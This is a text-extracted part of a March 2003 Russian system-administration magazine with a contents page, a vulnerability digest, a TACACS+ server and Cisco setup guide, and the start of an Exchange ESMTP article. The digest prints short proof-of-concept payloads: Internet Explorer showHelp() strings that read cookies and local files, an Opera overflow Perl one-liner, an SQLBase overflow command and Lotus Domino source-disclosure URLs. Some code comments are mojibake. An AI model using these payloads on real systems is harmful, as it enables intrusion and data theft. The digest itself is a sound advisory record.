98
Разработчики поисковых систем отвечают на вопросы читателей Перехват системных вызовов в ОС Linux TACACS Установка FreeBSD ЛВС: управляемость и надежность журнал для cистемных администраторов, вебмастеров и программистов №3(4) март 2003 Разработчики поисковых систем отвечают на вопросы читателей Перехват системных вызовов в ОС Linux TACACS Установка FreeBSD ЛВС: управляемость и надежность

004 Системный Администратор 03 2003

Embed Size (px)

DESCRIPTION

ЛВС: управляемость и надежность ЛВС: управляемость и надежность Установка FreeBSD Установка FreeBSD Перехват системных вызовов в ОС Linux Перехват системных вызовов в ОС Linux №3(4) март 2003 журнал для cистемных администраторов, вебмастеров и программистов

Citation preview

Page 1: 004 Системный Администратор 03 2003

Разработчикипоисковых системотвечают на вопросычитателей

Перехват системныхвызовов в ОС Linux

TACACS

Установка FreeBSD

ЛВС: управляемостьи надежность

журнал для cистемных администраторов,вебмастеров и программистов

№3(4) март 2003

Разработчикипоисковых системотвечают на вопросычитателей

Перехват системныхвызовов в ОС Linux

TACACS

Установка FreeBSD

ЛВС: управляемостьи надежность

Page 2: 004 Системный Администратор 03 2003
Page 3: 004 Системный Администратор 03 2003

1№3(4), март 2003

оглавление

Некоторые недокументированныефункции Java

Неужели в среде Java существуют задачи, которые нерешаются с помощью стандартных библиотек и для ре-шения которых имеет смысл прибегать к недокумен-тированным функциям?Даниил Алиевский[email protected]

Итоги акции «Задай свой вопросразработчикам поисковых систем»,проводимой совместно с ВсероссийскимКлубом Веб-разработчиков

Ведущие разработчики поисковых систем - Яндекса,Рамблера, Апорта и Мета-Украины - отвечают на воп-росы читателей[email protected]

HARDWARE

Основы систем хранения данныхОттолкнувшись от незыблемых законов физики и ло-гики, постараемся приблизиться к наиболее полномупониманию дисковых систем.Алексей Серебряков[email protected]

ОБРАЗОВАНИЕ

ЛВС: управляемость, надежность,масштабируемость

Как создать локальную вычислительную сеть, отвеча-ющую современным требованиям производительнос-ти и надежности?Денис Еланский[email protected]

IMHO

Почему OpenSourse?(Точка зрения разработчика)Размышлениями, результатами и опытом, приобретен-ным в ходе попытки использования свободного ПО, де-лятся разработчики АСУТП в аэрокосмической области.Владимир Попов[email protected]

BUGTRAQ

FAQ Python

АДМИНИСТРИРОВАНИЕ

TACACSОсновные принципы настройки сервера и клиента.Всеволод Стахов[email protected]

Как выключить ESMTP-командыв Exchange 2000 Server

Татьяна Антипова[email protected]

Установка FreeBSDШаг за шагом: подготовка жесткого диска, выбор па-кетов, инсталляция, послеинсталляционное конфигу-рирование системы.Сергей Яремчук[email protected]

IPSec через NAT: проблемы и решенияТатьяна Антипова[email protected]

Абсолютно все о Frame RelayЧто стало главным фактором высокой востребован-ности данной технологии?Сергей Ропчан[email protected]

ПРОГРАММИРОВАНИЕ

Можно ли защитить веб-страницыот анализа исходного кода?

Как помешать программисту-профессионалу, распо-лагающему богатым арсеналом – отладчиком, соб-ственной версией браузера с исходными текстами, вир-туальной машиной – проанализировать исходныйHTML-код веб-страницы.Даниил Алиевский[email protected]

Перехват системных вызовов в ОС LinuxВопросы защиты информационных систем, построен-ных на базе операционной системы Linux, по-прежне-му актуальны. Предлагаем вам рассмотреть механизмзащиты, основанный на перехвате системных вызововв ОС Linux.Владимир Мешков[email protected]

4

10

22

26

32

40

46

50

62

78

90

4, 25, 45, 89

12

95

Page 4: 004 Системный Администратор 03 2003

2

BUGTRAQ

Раскрытие исходного кода сценариевв веб-сервере Lotus DominoУязвимость раскрытия файла обнаружена в веб-сервереLotus Domino. Удаленный пользователь может создать спе-циальный запрос, который раскроит содержание некото-рых типов файлов.

Сообщается, что удаленный пользователь может до-бавить точку к концу некоторых типов файлов Lotus, ус-танавливаемых не по умолчанию (т.е. отличных от .NSF,.NTF и т. п.), чтобы получить этот файл. Уязвимость мо-жет использоваться для просмотра исходного кода сце-нариев на сервере и включаемых файлов. Пример:

Уязвимость обнаружена в Lotus Domino Web Server 5, 6.

Переполнение буфера в OperaПереполнение буфера обнаружено в веб-браузере Opera.Удаленный пользователь может сконструировать URL, ко-торый заставить браузер выполнить произвольный код призагрузке этого URL.

Сообщается, что переполнение происходит при загруз-ке URL с чрезмерно длинным именем пользователя. Зло-намеренный URL может быть передан через ссылку, изоб-ражение, фрейм, сценарий и другие методы. Пример:

Уязвимость обнаружена в Opera 6.05 build 1140, 7 beta2build 2577.

Cisco IOS может принимать поддельныеICMP Redirect-пакеты и перенаправлятьих неправильному адресатуУязвимость обнаружена в операционной системе Cisco IOS.В некоторых конфигурациях маршрутизатор может прини-мать поддельные ICMP Redirect-пакеты.

Cisco выпустил Field Notice (23074), в котором предуп-реждается, что если заблокирована IP-маршрутизация,маршрутизатор примет поддельный ICMP Redirect-пакети изменит соответствующую таблицу маршрутизации.Согласно сообщению, IP-маршрутизация включена поумолчанию, так что заданные по умолчанию конфигура-ции неуязвимы к обнаруженной проблеме. Уязвимостьможет использоваться для DoS-нападений или перенап-равления пакетов к другому местоположению. Уязвимостьобнаружена в Cisco IOS 12.2 и более ранних версиях.

Недостаток в Red Hat kernel-utils пакетеУязвимость конфигурации обнаружена в Red Hat kernel-utils пакете. Локальный пользователь может выполнятьпривилегированные сетевые операции. Локальныйпользователь может управлять некоторыми сетевыми ин-терфейсами, добавлять и удалять arp-входы и маршрутыи помещать интерфейсы в разнородный («promiscuous»)режим. Уязвимость обнаружена в Red Hat Linux 8.0.

Подробности уязвимости в showhelp в IEРанее мы сообщали о выходе патча к IE, устраняющемуязвимость в методе showHelp(). Сообщается, что огра-ничения безопасности не работают, когда showHelp вы-зывается с аргументом File. Как уже говорилось, в резуль-тате атакующий может выполнять произвольный код науязвимой системе. Вот несколько примеров.

Чтение куки:

Чтение файла с:\text.txt:

Еще один способ чтения файла с:\text.txt:

Запуск Winmine:

showHelp("file:");showHelp("res://shdoclc.dll/about.dlg");

showHelp("javascript:try{c=newActiveXObject('Msxml2.XMLHTTP')}\

catch(e){c=newActiveXObject('Microsoft.XMLHTTP')};c.open('GET',\

'file://c:/test.txt',false);c.send(null);alert(c.responseText)");

showHelp("file:");showHelp("http://www.google.com/");showHelp("javascript:alert(document.cookie)");

showHelp("file:");showHelp("file://c:/test.txt");showHelp("javascript:alert(document.body.innerText)");

Переполнение буфера в SQLBaseSQLBase 8.1.0 – система управления реляционной базойданных (RDBMS). Разработчик сообщает, что системойпользуются более 1000000 человек во всем мире.

Команда EXECUTE выполняет сохраненную командуили процедуру. Синтаксис этой команды:

Передавая чрезмерно большое имя команды/проце-дуры (более 700 байт) в качестве параметра, работаSQLBase аварийно завершится с возможностью выпол-нения произвольного кода с привилегиями GuptaSQLService (Local System). Пример:

Недостаток в механизмекодирования в WinZIPНедостаток в обнаружен в PKZIP механизме шифрова-ния. Уязвимость позволяет нападать непосредственно намеханизм шифрования, используя инженерный анализ(reversing enginiering) в WinZIP IBDL32.dll.

Уязвимость связана с использованием слабого гене-ратора случайных чисел. Как утверждает автор, можнорасшифровать весь архив, зная небольшой фрагмент из-вестного текста (36 байт). Сообщается, что файл, зашиф-рованный 19-символьным паролем, на PIII-500 удалосьрасшифровать менее чем за 2 часа.

showHelp("file:");showHelp("iexplore.chm");showHelp("res:");showHelp("javascript:location='mk:@MSITStore:C:'");showHelp("javascript:document.write('<object id=c classid=\clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\\u003E<param na\me=Command value=ShortCut\\u003E\<param name=Item1 value=,\winmine,\\u003E</object\\u003E');c.Click();");

EXECUTE SYSADM.AAAAAAAAAAA...(700 times)

EXECUTE [auth ID].stored_command_or_procedure_name

http://[target]/reports/secretreport.csp.http://[target]/cgi-bin/myscript.pl .http://[target]/cgi-bin/runme.exe%20.http://[target]/reports/secretreport.csp%20%2E

$ perl -e "exec('opera.exe', 'http://'. 'A' x 2624 .'@/')"

Page 5: 004 Системный Администратор 03 2003
Page 6: 004 Системный Администратор 03 2003

В данной статье описываются основные принципы настройки сервера и клиента (терминальногосервера фирмы Cisco или иной компании) TACACS+. TACACS имеет очень широкое применение,так как может обеспечивать работу всех клиентов с единым сервером авторизации, который такжепозволяет настраивать привилегии различных пользователей в широких пределах, например:давать определённым пользователям доступ только к определённым командам, даватьопределённым лицам пользоваться различными сервисами только с заданных адресов,организовывать группы пользователей, вести лог-файл доступа пользователей (это особенноважно для маршрутизаторов Cisco, так как позволяет определить, кто и сколько пользовалсяопределёнными сетевыми службами: ppp, slip и т. д.), выполнять для пользователей определённыекоманды Unix.

TACACS

ВСЕВОЛОД СТАХОВ

Page 7: 004 Системный Администратор 03 2003

5№3(4), март 2003

администрирование

tac_plus * -C èìÿ êîíôèãóðàöèîííîãî ôàéëà (îáÿçàòåëüíûé ïàðàìåòð) * -t íå èñïîëüçîâàòü log-ôàéë, à ïèñàòü â stderr * -P ïðîâåðêà ñèíòàêñèñà êîíôèãóðàöèîííîãî ôàéëà * -g ðåæèì îòëàäêè, íå ïðîèñõîäèò ñîçäàíèÿ äî÷åðíèõ

ïðîöåññîâ * -p port_number çàäàíèå íîìåðà ïîðòà (ïî óìîë÷àíèþ

tacacs+ èñïîëüçóåò 49) * -d óðîâåíü âûâîäà îòëàäî÷íûõ ñîîáùåíèé â

/var/tmp/tac_plus.log * -v âûâåñòè âåðñèþ è âûéòè * -L (ïîëó÷àòü èìåíà ïî DNS) * -l ôàéë äëÿ âåäåíèÿ ëîãà * -w ôàéë äëÿ çàïèñè æóðíàëà äîñòóïà (ïðè âêëþ÷åííîé

îïöèè maxsess, ïî óìîë÷àíèþ – /var/tmp/tac.who_log) * -i çàïóñê ÷åðåç inetdÏðèìåð:tac_plus -C /etc/tacacs.config

#!/bin/shfor i in *dotr -d "\r" < $i > .tmpmv -f .tmp $irm -f .tmpdone

# Êëþ÷ äëÿ øèôðîâàíèÿkey = a very secret passwordgroup users{

# Çàäàíèå ïàðîëÿ äëÿ âñåõ ïîëüçîâàòåëåé ãðóïïû

# On startup, tac_plus creates the file /etc/tac_plus.pid# (if possible), containing its process id. Uncomment and# modify the following line to change this filename PIDFILE = -DTAC_PLUS_PIDFILE=\"/var/run/tac_plus.pid\"

USERID = 1500GROUPID = 25FLAGS = -DTAC_PLUS_USERID=$(USERID)

-DTAC_PLUS_GROUPID=$(GROUPID)

# For LINUX OS=-DLINUX## On REDHAT 5.0 systems, or systems that use the new glibc,# you might instead need the following: OS=-DLINUX -DGLIBC OSLIBS=-lcrypt

# For Solaris (SUNOS 5.3, 5.4, 5.5, 5.6) uncomment the# following two linesOS=-DSOLARISOSLIBS=-lsocket -lnsl

Но прежде чем начинать разговор о настройке TACACS, ябы хотел определиться с терминологией:� TACACS (terminal access controller access control

system) – собственно, система управления автори-зацией и аутентификацией.

� NAS (network access server) – клиент tacacs, киска.Киской в данной статье я буду называть терминаль-ный сервер (интеллектуальный коммутатор или мар-шрутизатор) фирмы Cisco. Хотя в принципе с прото-колом TACACS+ могут работать маршрутизаторы идругих фирм.

� AV (attribute=value) – пары атрибут=значение, кото-рые передаются между клиентом и сервером tacacs.

Теперь необходимо скачать сам сервер для *nix. Оби-тает он здесь: ftp://ftpeng.cisco.com/pub/tacacs (сервер ftpочень кривой, по нему особо не пороешься: не видно ка-талогов), к сожалению, только альфа-версия, но, похоже,из состояния альфа он не выберется никогда, т.к. самаCisco его не поддерживает (что весьма странно) и отка-зывается от «любой ответственности». «Альфанутость»tacacs_plus-сервера мне довелось прочувствовать на соб-ственной шкуре: пришлось его маленько доработать, длятого чтобы он начал выполнять свои функции. Итак, вна-чале правим Makefile: по умолчанию раскомментированынастройки для Solaris.

Выбираем нужную ОС и раскомментируем нужныестрочки:

Добавляем пользователя и группу для сервера, пишемв Makefile UID и GID (по умолчанию эти строки закоммен-тированы, запуск идёт от рута, что не есть хорошо, осо-бенно для альфа-версии):

Указываем pid-файл:

При компиляции у меня возникли ещё две неболь-шие проблемы:� все сырцы были записаны в формате DOS, поэтому

пришлось вначале написать простенький скрипт:

� возникли некоторые проблемы с описанием syserrorlist,которые, впрочем, решаются просто удалением соот-ветствующих строчек.

Решив эти проблемы, я спокойно скомпилировал tacacs+в NetBSD 1.5.2 компилятором egcc 1.1.2. Под Linux&gcc 2.96также всё прошло нормально, поэтому я не вижу причин,чтобы на других машинах возникали ошибки компиляции(если возникли, то прежде всего проверьте Makefile).

Естественно, что после компиляции необходимо запу-стить и настроить сервер. Запускается он так:

После пробного запуска заносим нужные строчки в си-стемные rc-файлы (хотя я бы посоветовал для начала ис-пользовать режим inetd).

Но без конфигурационного файла сервер не работает,поэтому настало самое время описать его синтаксис. Всезначения записываются в формате атрибут=значение (AV-пары), если прописываются дополнительные параметры ат-рибутов, то они заключаются в фигурные скобки {}, симво-лы # считаются началом однострочного комментария. Прин-цип построения конфигурационного файла таков: вначалезадаётся ключ симметрического шифрования, осуществля-емого между киской и tacacs-сервером. Этот ключ имеет ана-логичное паролю значение (берётся его md5-хеш), поэтомуон может содержать нормальные символы (символ " упот-реблять нельзя, т.к. это приведёт к ошибке работы шифра-ции, а экранировать его нет возможности). После определе-ния ключа описываются группы, в которых можно опреде-лить общие права и параметры доступа всех пользователейв группе. Также обычно определяют пользователей, входя-щих в определённые группы (пользователь может принад-лежать только одной группе). Для указания того, что пользо-ватель или группа входят в определённую группу, в их опи-сании необходимо использовать member=group_name. При-веду всё это на примере:

Page 8: 004 Системный Администратор 03 2003

6

администрирование

user=admin {login = des 3EdghJk8acVB6member = administrators# Ðàçðåøàåì âñ¸ íà óðîâíå ïîëüçîâàòåëÿdefault service = permit# Îïèñàíèå ñåðâèñà âûïîëíåíèÿ êîìàíä execservice = exec {

# Óñòàíàâëèâàåì ñïèñîê ïðàâ äîñòóïà äëÿ äàííîãî# ïîëüçîâàòåëÿacl = 4

# Âûïîëíÿåì êîìàíäó ïðè àâòîðèçàöèè(àâòîêîìàíäà)autocmd = "telnet 192.168.1.2"

}cmd = telnet {

# Ðàçðåøàåì âñå telnet-ñîåäèíåíèÿ, êðîìå àäðåñà# 131.108.13.*deny 131\.108\.13\.[0-9]+permit .*

}}user=alex {

login = des 6EX027bHtSTlzname = "Alex"member = administratorsexpires = "May 23 2005"arap = cleartext "arap secret"chap = cleartext "chap secret"service = exec {

# Óðîâåíü ïðèâèëåãèé ïî óìîë÷àíèþacl = 5# Àâòîïèíãautocmd = "ping 192.168.1.2"

}}

user admin{login = des FgZq2fY7ZKP0lpap = des FgZq2fY7ZKP0lopap = des FgZq2fY7ZKP0lexpires = "JAN 01 2010"

}user user1{

login = cleartext user_passpap = pap_user_passexpires = "JAN 01 2003"

}user $enab15${

login = des Y7jk9zAd5F7Ix}user $enab1${

login = cleartext level1secret}

#ïîëüçîâàòåëåé â îòêðûòîì âèäå. Ìîæíî èñïîëüçîâàòü# DES-øèôðîâàíèå, íàïðèìåð: login = DES F5qT7Ha7AflP0# èëè óêàçàòü ôàéë â ôîðìàòå passwd:# login = file /etc/tacacs_passwd, íî ó÷òèòå, ÷òî ïîêà# tac_plus íå ðàáîòàåò ñ md5-ïàðîëÿìè, òàê ÷òî â ýòîì# ôàéëå âñå ïàðîëè äîëæíû áûòü çàøèôðîâàíû ìåòîäîì DESlogin = cleartext users_password

}user user1{

# Ïîëüçîâàòåëü ïðèíàäëåæèò ãðóïïå è íàñëåäóåò âñå ïàðà-# ìåòðû èç îïðåäåëåíèÿ ãðóïïû, âêëþ÷àÿ ïàðîëümember = users

}user power_user{

# Ïåðåîïðåäåëåíèå àòðèáóòà ãðóïïûlogin = des F5qT7Ha7AflP0member = users

}user lamer{

# À ýòîò, âèäèìî, è ïàðîëü ââåñòè ñàì íå ìîæåò :)login = nopasswordmember = users

}

Важное замечание: если пароль указывается из файла(file path_to_file), то необходимо преобразовать стандартныйфайл формата passwd в формат tacacs (tacacs считает но-мер группы номером списка прав доступа acl). Для этого ис-пользуется поставляемая утилита convert.pl -g <passwdfile>.Группы tacacs могут являться членами других групп, насле-дуя все атрибуты контейнера. Учтите, что файл конфигура-ции tacacs содержит некоторые пароли в незашифрованномвиде, поэтому надо обязательно выполнить правильныйchmod 0400 для пользователя, под которым работает tacacs.Кроме этого, для аутентификации можно использовать не-сколько дополнительных весьма полезных параметров:� expires = «Month_short DD YYYY» – конец работы данной

учётной записи. Пользователь получает предупреждениеза 14 дней до cрока, например: expires = «JAN 12 2003»(регистр не имеет значения, не забудьте про кавычки);

� arap = cleartext arap_pass – пароль для arap;� chap = cleartext chap_pass – пароль для chap-соедине-

ний (нельзя использовать шифрование);� ms-chap = cleartext ms-chap_pass – пароль для ms-chap

(если tacacs был собран с поддержкой этого протоко-ла), если не был «получен ms-chap ключ от Microsoft»,то работать можно только с cleartext-паролями;

� pap = cleartext pap_pass – пароль для входящих pap-соединений, его можно шифровать DESom;

� opap = cleartext opap_pass – пароль для исходящих pap-соединений (работает аналогично предыдущему).

В Cisco IOS также предусмотрен ряд специальныхпользователей, соответствующих уровням доступа к сис-теме (enable), их имена выглядят следующим образом:$enab<n>$, где <n> – требуемый уровень доступа к сис-теме (имеется также пользователь $enable$ для старыхверсий IOS). Приведу простой пример всему вышесказан-ному (комментарии, думаю, будут излишни):

Сродни процессу аутентификации на сервереtac_plus, можно управлять процессом авторизации, т.е.предоставления пользователям определённых прав изапретов на использование команд или протоколов. Дляопределения прав авторизации используются регуляр-ные выражения стиля grep (точнее, egerp, что позволя-ет использовать логические операции) и ключевые сло-ва permit (разрешить) и deny (запретить). По умолча-нию всё, что не разрешено, – запрещено. Это можноизменить, указав разрешения по умолчанию:� default authorization = permit – на глобальном уровне,

разрешить все по умолчанию;� default service = permit – на уровне пользователя, раз-

решить все по умолчанию для данного пользователя;� default attribute = permit – на уровне описания сервиса,

разрешить всё по умолчанию.

В процессе авторизации ключевыми являются три по-нятия: сервис (например, сервисы exec, slip, ppp, arap,shell, tty-daemon, connection, system), команда (например,telnet) и протокол. Приведу пример с комментариями:

В качестве команд могут использоваться любые ко-манды IOS обычного режима (т.е. до enable). Списокпараметров, которые могут использоваться внутри оп-ределений авторизации, весьма широк:� acl – список прав доступа (только при service=shell или

service=exec);� addr – сетевой адрес для service=ppp и protocol=ip;

Page 9: 004 Системный Администратор 03 2003

7№3(4), март 2003

администрирование

� autocmd – только при service=shell или service=exec – ав-томатическое выполнение определённой команды IOS;

� callback-dialstring – номер телефона для service=pppили shell;

� callback-line – номер линии;� dns-server – IP-адреса серверов DNS через пробел, пе-

редаваемых клиентам PPP (service=ppp, protocol=ip);� idletime (11.1) – время в минутах до завершения неак-

тивной сессии (не применимо к PPP);� inacl<n> – определяется входной уровень доступа и при-

меняется к интерфейсу на время сеанса (service=ppp,protocol=ip);

� interface-config – значением является любая командаконфигурации интерфейса;

� ip-addresses – возможные значения IP-адресов для кон-ца туннеля (service=ppp and protocol=vpdn);

� link-compression – использовать ли алгоритм сжатияSTAC:

0 – нет1 – Stac2 – Stac-Draft-93 – MS-Stac.

� load-threshold – порог нагрузки (от 1 до 255), после ко-торого добавляются/удаляются дополнительные лин-ки в multilink bundle (service=ppp and protocol=multilink);

� max-links – максимальное число линков, которые пользо-ватель может иметь в multilink bundle (service=ppp andprotocol=multilink);

� nas-password – пароль для NAS при аутентификациидля L2F туннеля (service=ppp and protocol=vpdn);

� nocallback-verify – (всегда = 1), означает, что не требу-ется верификации при callback (service=arap,service=slip, service=ppp, service=shell);

� noescape – (true или false), запретить использовать сим-вол прерывания ввода (service=shell);

� nohangup – (true или false), запретить отключение пользо-вателя по завершению сеанса EXEC (service=shell);

� outacl<n> – определяется уровень доступа для исхо-дящего соединения и применяется к интерфейсу навремя сеанса (service=ppp, protocol=ip);

� pool-def<n> – определить пул IP-адресов;� pool-timeout – время на проверку существования ука-

занного адресного пула на NAS;� ppp-vj-slot-compression – указание маршрутизатору не

использовать сжатие слотов при посылке VJ-сжатыхпакетов;

� priv-lvl – уровень привилегий, назначаемый процессуEXEC (0-15, 15 – наивысший);

� protocol – подмножество сервиса (в основном для ppp):lcp ipipx atalkvines latxremote tn3270telnet rloginpad vpdndeccp osicpccp (compression control protocol) bridgingcdp (cisco discovery protocol) xns

nbf bapmultilink unknown

� route – определяет статический маршрут, применяе-мый к интерфейсу (service=ppp, protocol=ip). Указыва-ется в виде адреса назначения, маски подсети и (воз-можно) шлюза. Если шлюз опущен, то через соседа(peer). По завершению сеанса маршрут удаляется.

� route<n> – аналогично route, но позволяет нумероватьмаршруты и, стало быть, иметь их много;

� routing – (true или false) обрабатывать ли информациюо маршрутизации;

� source-ip – задает исходный IP-адрес VPDN-пакетов (эк-вивалент команды: vpdn outgoing);

� timeout – максимальное время сессии в минутах (на-чиная с 11.3.8, работает и для service=ppp protocol=lcp,но выражается в секундах);

� tunnel-id – идентификатор туннеля vpdn (service=pppand protocol=vpdn);

� wins-servers – IP-адреса серверов WINS (NetBIOS NameService) через пробел, передаваемых клиентам MS PPP(service=ppp, protocol=ip).

Здесь, думаю, какие-либо комментарии будут излиш-ни, поэтому я перейду к описанию скриптов авторизации.Tacacs может выполнять некоторые скрипты shell до илипосле авторизации пользователя, для этого используют-ся директивы before authorization «/path/script paramlist» иafter authorization «...» соответственно (обратите внима-ние на наличие кавычек и отсутствие знака «=»). Скрип-там инициализации могут быть переданы любые парамет-ры командной строки, но некоторые из них имеют специ-альное назначение:� $user – имя пользователя;� $name – имя клиента(NAS);� $port – порт клиента;� $address – адрес клиента;� $priv – уровень привилегий(0 – 15);� $method – каким способом была пройдена аутентифи-

кация:1 – none2 – KRB5 (kerberos, version 5)3 – line (пароль, привязанный к линии)4 – enable (команда изменения привилегий)5 – local (в соответствии с локальной БД NAS)6 – tacacs+8 – guest (например, guest в ARAP)16 – RADIUS17 – KRB4 (kerberos, version 4)

� $type – тип соединения:1 – ASCII2 – PAP3 – CHAP4 – ARAP5 – MS CHAP

� $service – номер сервиса:1 – login2 – enable

Page 10: 004 Системный Администратор 03 2003

8

администрирование

# aaa authentication ppp default tacacs+

# aaa authentication login default line

# aaa new-model

# configure terminal

# show tacacs

# tacacs-server attempts {count}

# tacacs-server timeout {seconds}

# tacacs-server host {name}

accounting file = "/var/log/tacacs/accounting"

group users{# Ïóòü ê ñêðèïòó, âûïîëíÿþùåìóñÿ äî àâòîðèçàöèè íà# ñåðâåðåbefore authorization "/usr/libexec/tacacs/users_auth\

$user $name $address"# Ðàçðåøàåì ñåðâèñû ïî óìîë÷àíèþdefault service = permitservice = exec {

# Âûïîëíÿåì àâòîïèíãautocmd = "ping 192.168.2.1"

}}

3 – ppp4 – arap5 – pt6 – rcmd7 – X258 – NASI9 – FWPROXY

� $status – строка статуса работы соединения:pass – успешное прохождение авторизацииfail – провал соединенияerror – ошибка работыunknown – неизвестная ошибка.

Указанный скрипт выполняется /bin/sh -c и должен бытьсоставлен соответствующим образом. При создании по-добных скриптов учтите, что они будут выполняться мно-го раз для каждого пользователя, например, прохожде-ние авторизации ppp, ip и так далее. Скрипт авторизацииможет сообщать о статусе работы через код завершения:� 0 – всё нормально, авторизация разрешена;� 1 – произошла ошибка, авторизация запрещена;� 2 – авторизация разрешена, но на stdout скрипт кида-

ет AV-пары, которые используются для дальнейшей ав-торизации (в обход настройкам tacacs), причём если ввыводе содержатся пробелы, их необходимо экрани-ровать кавычками;

� 3 – аналогично предыдущему, но авторизация запре-щена.

Авторизационные скрипты – довольно полезная вещь:я, например, сделал скрипт, работающий с MySQL и ис-следующий пользователей, которые могут заходить наопределённый свитч. Скрипты выполняются под тем жепользователем, что и tacacs-сервер, поэтому запускатьего от рута не рекомендуется (см. настройки Makefile).Приведу простой пример конфигурации сервера с ис-пользованием скриптов:

Последняя вещь, о которой я хотел бы рассказатьдля настройки сервера tacacs, – установка учёта рабо-ты (accounting). Для начала работы системы учёта дос-таточно добавить строку accounting file = «path_to_file»на глобальном уровне:

Формат данного файла различается от версии к вер-сии, поэтому я не буду на этом останавливаться под-робно (думаю, понять, что к чему, будет нетрудно). Со-

стоит файл учёта из 5 полей (поля разделяются симво-лами табуляции): времени, имени NAS, имени пользо-вателя, ключевого слова assync, признак начала илиокончания сессии – start и stop соответственно (особен-но интересна для учёта директива stop, на основаниикоторой можно выполнять учёт и контроль ошибок, иног-да, в случае ошибки авторизации или аутентификации,директива stop может не иметь пары start) и дополни-тельных AV-строк (для оценки PPP-трафика интересныпары service=PPP elapsed_time={время в секундах}, атакже bytes_in= и bytes_out=).

Теперь позвольте перейти к описанию настройки кис-ки. Для начала сразу же хочу предупредить, что к этомумоменту необходимо иметь нормально работающийtacacs-сервер, иначе может случиться так, что вы не смо-жете зайти на киску (при настройке tacacs-сервера учти-те тот факт, что по умолчанию всё запрещено, поэтомуне забудьте корректно настроить авторизацию). Заходимв CLI-киски в режим EXEC (привилегированный режим):Устанавливаем сервер tacacs+ в name (имя или IP-адрес):

Установка тайм-аута поиска сервера (по умолчанию 5секунд):

Количество попыток логина на сервер:

Ключ для шифрации трафика должен совпадать со зна-чением на сервере:

Смотрим информацию о tacacs:

Далее настраиваем три «а»: аутентификацию, авто-ризацию и аккаунтинг:

Включаем новую модель aaa:

Глобальные настройки логина (список методов по сте-пени возрастания, в моём примере вначале ходим наtacacs-сервер, а затем смотрим в локальные пароли):

Настройка ppp-логина:

# tacacs-server key {key}

Page 11: 004 Системный Администратор 03 2003

9№3(4), март 2003

администрирование

user = foo{ login = cleartext login chap = cleartext xfgb pap = des qQkpO0AMIp7RL opap = cleartext outgoing_pap service = ppp protocol = lcp {

# Ñòðîêà äîçâîíà äëÿ ðàñøèðåíèé ppp lcp callback-dialstring=123456 }}

# aaa authentication ppp pppcheck tacacs+# int async {number_of_line}# ppp authentication {chap | pap} pppcheck# ppp callback accept

# aaa accounting exec start-stop tacacs+# aaa accounting network start-stop tacacs+# exit

# configure terminal

# aaa authorization exec tacacs+ # exit

# aaa authorization network tacacs+

# configure terminal

# show running-config

# login authentication tacacs+# exit

# line {[aux, console, tty, vty]| line-numbers}

Выбираем линию для настройки (список линий, могутбыть специальные линии или номера стандартных линиймаршрутизатора):

Список методов логина для линии:

Смотрим полученные изменения:

Настраиваем аутентификацию:

Авторизация через tacacs всех сетевых служб (SLIP,PPP, NCP, ARA):

Авторизация через tacacs сервиса exec:

Настраиваем аккаунтинг:

Запускаем аккаунтинг событий начала и конца для сер-виса exec и сетевых сервисов:

Можно также создать обратную связь (callback) меж-ду сервером и киской (это полезно для получения некото-

рых параметров ppp). Для этого добавляем в настройкиaaa такие строчки:

На сервере есть также дополнительные callback avпары, например:

Но мне callback показался не очень нужным в практи-ческом плане, поэтому подробно о нём говорить я не буду.

Подводя итог, скажу, что использование tacacs мнелично показалось весьма удобным и простым (за исклю-чением некоторой нестабильности работы – иногда мрутдочерние процессы, что в принципе нестрашно). За до-полнительной информацией о tacacs можете обратитьсяна следующие сайты:

http://www.bog.pp.ru/work/tacacs.html – на мой взгляд,наиболее качественный ресурс по данной теме на русскомязыке (также здесь вы найдёте уйму полезной информации);

http://cisco.opennet.ru – отличная подборка материа-лов по Cisco;

http://ftpeng.cisco.com/pub/tacacs/ – отсюда качаем;http://www.easynet.de/tacacs-faq/ – FAQ на английс-

ком языке по tacacs;http://rcp.ru/faq/cisco.html – FAQ на русском языке по

маршрутизаторам Cisco;http://stiwww.epfl.ch/tacacs/u_g_F403.html – родная

документация на английском языке;http://www.disaster.com/tacplus/ – подписка на список

рассылок tacacs.

Page 12: 004 Системный Администратор 03 2003

10

администрирование

КАКВЫКЛЮЧИТЬ

Для совместимости Microsoft Exchange 2000 Server сдругими SMTP-почтовыми серверами иногда требуетсязапретить некоторые Extended Simple Mail Transfer Protocol(ESMTP)-команды, которые разрешены по умолчанию приустановке Exchange-сервера. В этой статье описываютсяразличные параметры настройки, которые управляютESMTP-командами. По умолчанию в Exchange 2000 раз-решено использовать следующие команды:� 220 server.domain.com Microsoft ESMTP MAIL Service,

Version: 5.0.2195.1 ready at Wed, 15 Mar 2000 17:37:07-0800 ehlo ee.com

� 220 server.domain.com Microsoft ESMTP MAIL Service[5.0.2195.1]

� 250-TURN� 250-ATRN� 250-SIZE 2097152� 250-ETRN� 250-PIPELINING� 250-DSN� 250-ENHANCEDSTATUSCODES� 250-8bitmime� 250-BINARYMIME� 250-CHUNKING� 250-VRFY� 250-X-EXPS GSSAPI NTLM LOGIN� 250-X-EXPS=LOGIN

ТАТЬЯНА АНТИПОВА

ESMTP-КОМАНДЫВ EXCHANGE 2000SERVER

КАКВЫКЛЮЧИТЬ

ESMTP-КОМАНДЫВ EXCHANGE 2000SERVER

Page 13: 004 Системный Администратор 03 2003

11№3(4), март 2003

администрирование

� 250-AUTH GSSAPI NTLM LOGIN� 250-AUTH=LOGIN� 250-XEXCH50� 250-X-LINK2STATE� 250 OK

Этими командами можно управлять в метабазе и вExchange Server event sinks. Если вы запрещаете коман-ды в event sinks, то изменения могут привести к сильно-му понижению производительности Exchange 2000. По-этому в этой статье мы рассмотрим ESMTP-команды, ко-торые управляются метабазой.

Следующими командами можно управлять в метаба-зе Exchange-сервера:� 250-TURN� 250-ATRN� 250-ETRN� 250-DSN� 250-ENHANCEDSTATUSCODES� 250-8bitmime� 250-BINARYMIME� 250-CHUNKING

Каждая из этих команд представлена шестнадцате-ричным значением. Эти значения входят в единствен-ное число, которое определяет включением и выклю-чением этих команд. Это число (в десятичном форма-те) хранится в переменной SmtpInboundCommand-SupportOptions, которая находится в Lm/Smtpsvc/1LM вметабазе и в sExchSmtpInboundCommandSupportOptionsв Active Directory под:� CN=1,� CN=SMTP,� CN=Protocols,� CN=SERVER,� CN=Servers,� CN=First Administrative Group,� CN=Administrative Groups,� CN=Organization,� CN=Microsoft Exchange,� CN=Services,� СN=Configuration,� DC=domain,� DC=com.

